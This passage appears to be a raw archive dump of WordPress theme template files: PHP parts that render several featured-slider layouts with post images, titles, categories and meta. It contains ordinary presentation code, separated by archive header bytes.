                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format lager-size-icon">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
	                                    <?php echo penci_show_custom_meta_fields( [
		                                    'validator' => $cspost_enable,
		                                    'keys'      => $cspost_cpost_meta,
		                                    'acf'       => $cspost_cpost_acf_meta,
		                                    'label' 	=> $cspost_cpost_meta_label,
		                                    'divider' 	=> $cspost_cpost_meta_divider,
	                                    ] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     /w\vC4}  }  3  js_composer/shortcodes/featured_slider/style-24.phpnu [        <?php
/**
 * Template part for Slider Style 24
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-thumb-square';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$psize = 'small';
				if ( $i % 4 == 1 ): $thumb = $bpost_thumb_size;
					$psize                 = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?> <?php echo( ( $i % 4 == 1 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 4 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 4 == 1 || $show_cat ) && ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 4 == 1 || $i % 4 == 2 ): ?>
									<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                        <div class="feat-meta">
											<?php if ( $show_meta_author ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $meta_date_hide ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! $hide_meta_comment ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php echo penci_show_custom_meta_fields( [
												'validator' => $cspost_enable,
												'keys'      => $cspost_cpost_meta,
												'acf'       => $cspost_cpost_acf_meta,
												'label'     => $cspost_cpost_meta_label,
												'divider'   => $cspost_cpost_meta_divider,
											] ); ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 4 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\!#    2  js_composer/shortcodes/featured_slider/style-1.phpnu [        <?php
/**
 * Template part for Slider Style 1
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-thumb';
$penci_is_mobile = penci_is_mobile();

$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) :
$feat_query->the_post(); ?>
<div class="item swiper-slide swiper-mark-item">
	<?php do_action( 'penci_bookmark_post' ); ?>
	<?php if ( ! $disable_lazyload ) { ?>
    <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
         data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size, $post_thumb_msize ); ?>"
         href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
        <div class="penci-swiper-mask penci-image-holder"
             style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
             href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
			<?php } ?>
			<?php if ( ! $center_box ): ?>
                <div class="penci-featured-content">
                    <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
                        <div class="featured-slider-overlay"></div>
						<?php if ( ! $hide_categories ): ?>
                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
						<?php endif; ?>
                        <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                               href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                        </h3>
						<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                            <div class="feat-meta">
								<?php if ( $show_meta_author ): ?>
                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
								<?php endif; ?>
								<?php if ( ! $meta_date_hide ): ?>
                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
								<?php endif; ?>
								<?php if ( ! $hide_meta_comment ): ?>
                                    <span class="feat-comments"><a
                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
								<?php endif; ?>
								<?php echo penci_show_custom_meta_fields( [
									'validator' => $cspost_enable,
									'keys'      => $cspost_cpost_meta,
									'acf'       => $cspost_cpost_acf_meta,
									'label'     => $cspost_cpost_meta_label,
									'divider'   => $cspost_cpost_meta_divider,
								] ); ?>
								<?php do_action( 'penci_extra_meta' ); ?>
                            </div>
						<?php endif; ?>
                    </div>
                </div>
			<?php endif; ?>
        </div>
    </div>
	<?php $list_post_ids[] = get_the_ID(); ?>
	<?php endwhile;
	wp_reset_postdata();
	endif; ?>
PK     /w\Wk&$  $  3  js_composer/shortcodes/featured_slider/style-40.phpnu [        <?php
/**
 * Template part for Slider Style 40
 */

$image_size      = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-full-thumb';
$penci_is_mobile = penci_is_mobile();
if ( penci_is_mobile() ) {
    $image_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
}
?>
<div class="slider-40-wrapper">
    <div class="img-blur-container">
        <div class="container-bg-slider-40">
            <?php
            $count = 0;
            while ( $feat_query->have_posts() ) : $feat_query->the_post();
                $ft_class = $count ++ == 0 ? ' current' : '';
                ?>
                <div data-index="<?php echo $count;?>" class="item-bg-slider-40 <?php echo $ft_class; ?>">
                    <div class="item-bg-slider-40-content">
                        <?php if ( ! $disable_lazyload ) { ?>
                        <div data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size ); ?>" class="<?php echo penci_classes_slider_lazy(); ?> picturefill-background fill clip bg-img-slider-40-behind"></div>
                        <?php } else { ?>
                        <div style="background-image: url(<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>);" class="picturefill-background fill clip bg-img-slider-40-behind"></div>
                        <?php } ?>
                    </div>
                </div>
            <?php endwhile; ?>
        </div>
    </div>
    <div class="container-slider-40">
        <div class="galery-slider-40">
            <div class="slider-creative">
                <div class="nav-slider-slider-40 nav-slider hidden-xs">
                    <button id="prev-hl" class="btn-reset nav-slider-button prev-button waves-effect"><i
                                class="penciicon-left-chevron"></i></button>
                    <button id="next-hl" class="btn-reset nav-slider-button next-button waves-effect"><i
                                class="penciicon-right-chevron"></i></button>
                </div>
                <div class="list-slider-creative">

                    <?php while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                        <div class="item-slider-creative">
                            <div class="content-item-creative">
                                <div class="main-slide penci-43-slider-item content-item-creative">
                                    <?php if ( ! $disable_lazyload ) { ?>
                                    <div data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size ); ?>" class="<?php echo penci_classes_slider_lazy(); ?> picturefill-background fill clip img-container"></div>
                                    <?php } else { ?>
                                    <div style="background-image: url(<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>);" class="picturefill-background fill clip img-container"></div>
                                    <?php } ?>
                                    <div>
                                        <?php if ( ! $hide_categories ): ?>
                                            <div class="cat featured-cat number-tv small-title-opa"><?php penci_category( '' ); ?></div>
                                        <?php endif; ?>
                                        <h3 class="title-part white-title"><a
                                                    title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                    href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                        </h3>

                                        <?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                            <div class="feat-meta penci-fslider-fmeta">
                                                <?php if ( $show_meta_author ): ?>
                                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
                                                <?php endif; ?>
                                                <?php if ( ! $meta_date_hide ): ?>
                                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
                                                <?php endif; ?>
                                                <?php if ( ! $hide_meta_comment ): ?>
                                                    <span class="feat-comments"><a
                                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
                                                <?php endif; ?>
                                                <?php
                                                if ( $show_viewscount ) {
                                                    echo '<span class="feat-countviews">';
                                                    echo penci_get_post_views( get_the_ID() );
                                                    echo ' ' . penci_get_setting( 'penci_trans_countviews' );
                                                    echo '</span>';
                                                }
                                                ?>
                                                <?php echo penci_show_custom_meta_fields( [
                                                    'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
                                                    'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
                                                    'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
                                                    'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
                                                    'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
                                                ] ); ?>
                                                <?php do_action( 'penci_extra_meta' ); ?>
                                            </div>
                                        <?php endif; ?>

                                        <?php if ( get_the_excerpt() && ! $hide_meta_excerpt ): ?>
                                            <div class="featured-slider-excerpt">
                                                <p><?php $excerpt = get_the_excerpt();
                                                    echo wp_trim_words( $excerpt, 20, '...' ); ?></p></div>
                                        <?php endif; ?>

                                        <div class="penci-featured-slider-button">
                                            <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    <?php endwhile; ?>
                </div>
            </div>
            
        </div>

    </div>
    <div class="container-thumb-creative">
        <div class="swiper nav-thumb-creative penci-owl-carousel penci-owl-carousel-slider" data-item="4"
             data-desktop="4" data-loop="false" data-nav="false" data-thumb="yes" data-auto="false">
            <div class="swiper-wrapper">
                <?php
                $countz = 0;
                while ( $feat_query->have_posts() ) : $feat_query->the_post();
                    $ftz_class = $countz ++ == 0 ? ' current' : '';
                    ?>
                    <div class="swiper-slide">
                        <div class="swiper-slide-inner">
                            <a data-index="<?php echo $countz; ?>" href="<?php the_permalink() ?>"
                               class="thumb-container<?php echo $ftz_class; ?>">
                               <?php if ( ! $disable_lazyload ) { ?>
                                <span class="<?php echo penci_classes_slider_lazy(); ?> penci-image-holder" data-bgset="<?php echo penci_image_srcset( get_the_ID(), 'penci-masonry-thumb' ); ?>"></span>
                               <?php } else { ?>
                               <span class="penci-image-holder" style="background-image: url(<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-masonry-thumb' ); ?>);"></span>
                                <?php } ?>
                            </a>
                        </div>
                    </div>
                <?php endwhile; ?>
            </div>
        </div>
    </div>
</div>PK     /w\	  	  3  js_composer/shortcodes/featured_slider/style-29.phpnu [        <?php
/**
 * Template part for Slider Style 29
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-full-thumb';
$penci_is_mobile = penci_is_mobile();

	$post_thumb_mobile_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide swiper-mark-item">
	    <?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! $disable_lazyload ) { ?>
            <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size, $post_thumb_mobile_size ); ?>"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
            <div class="penci-swiper-mask penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_mobile_size : $post_thumb_size ); ?>');"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } ?>
        <a href="<?php the_permalink() ?>" class="featured-slider-overlay"></a>
		<?php if ( ! $center_box ): ?>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
					<?php if ( ! $hide_categories ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
                    <div class="penci-featured-slider-button">
                        <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                    </div>
                </div>
            </div>
		<?php endif; ?>
        </div>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     /w\ơ    3  js_composer/shortcodes/featured_slider/style-22.phpnu [        <?php
/**
 * Template part for Slider Style 22
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$psize = 'small';
				if ( $i % 7 == 1 || $i % 7 == 2 ): $thumb = $bpost_thumb_size;
					$psize                                = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 7 ); ?>  <?php echo( ( $i % 7 == 1 || $i % 7 == 2 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 7 == 1 || $i % 7 == 2 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 7 == 1 || $i % 7 == 2 ): ?>
									<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                        <div class="feat-meta">
											<?php if ( $show_meta_author ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $meta_date_hide ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! $hide_meta_comment ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php echo penci_show_custom_meta_fields( [
												'validator' => $cspost_enable,
												'keys'      => $cspost_cpost_meta,
												'acf'       => $cspost_cpost_acf_meta,
												'label'     => $cspost_cpost_meta_label,
												'divider'   => $cspost_cpost_meta_divider,
											] ); ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 7 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\%    3  js_composer/shortcodes/featured_slider/style-37.phpnu [        <?php
/**
 * Template part for Slider Style 37
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i     = 1;
	$num_posts   = $feat_query->post_count;
	$number_last = $num_posts - 1;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		$thumb = $bpost_thumb_size;
		if ( $i == $number_last || $i == $num_posts ): $thumb = $post_thumb_size; endif;

			$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

		?>
        <div class="item swiper-slide">
            <div class="penci-item-mag penci-item-<?php if ( $i != $number_last && $i != $num_posts ) {
				echo '1';
			} else {
				echo '2';
			} ?>  <?php echo( ( $i == $number_last || $i == $num_posts ) ? 'penci-pitem-small' : 'penci-pitem-big' ) ?>">
	            <?php do_action( 'penci_bookmark_post' ); ?>
				<?php if ( ! $disable_lazyload ) { ?>
                    <a class="penci-image-holder penci-lazy"
                       data-bgset="<?php echo penci_image_srcset(get_the_ID(),$thumb,$thumb_mobile ); ?>"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
				<?php } else { ?>
                    <a class="penci-image-holder"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
				<?php } ?>
                <div class="penci-slide-overlay penci-slider6-overlay penci-slider37-overlay">
                    <a class="overlay-link"
                       aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                       href="<?php the_permalink(); ?>"></a>
					<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                        <a href="<?php the_permalink(); ?>"
                           class="overlay-icon-format <?php if ( $i % 3 == 1 ): echo ' lager-size-icon'; endif; ?>">
							<?php if ( has_post_format( 'video' ) ) : ?>
								<?php penci_fawesome_icon( 'fas fa-play' ); ?>
							<?php endif; ?>
							<?php if ( has_post_format( 'audio' ) ) : ?>
								<?php penci_fawesome_icon( 'fas fa-music' ); ?>
							<?php endif; ?>
							<?php if ( has_post_format( 'link' ) ) : ?>
								<?php penci_fawesome_icon( 'fas fa-link' ); ?>
							<?php endif; ?>
							<?php if ( has_post_format( 'quote' ) ) : ?>
								<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
							<?php endif; ?>
							<?php if ( has_post_format( 'gallery' ) ) : ?>
								<?php penci_fawesome_icon( 'far fa-image' ); ?>
							<?php endif; ?>
                        </a>
					<?php endif; ?>
                    <div class="penci-mag-featured-content">
                        <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
							<?php if ( ( $i != $number_last && $i != $num_posts ) || $show_cat ): ?>
								<?php if ( ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
							<?php endif; ?>
                            <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                   href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                            </h3>
							<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                <div class="feat-meta">
									<?php if ( $show_meta_author ): ?>
                                        <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
									<?php endif; ?>
									<?php if ( ! $meta_date_hide ): ?>
                                        <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( ! $hide_meta_comment ): ?>
                                        <span class="feat-comments"><a
                                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
									<?php endif; ?>
	                                <?php echo penci_show_custom_meta_fields( [
		                                'validator' => $cspost_enable,
		                                'keys'      => $cspost_cpost_meta,
		                                'acf'       => $cspost_cpost_acf_meta,
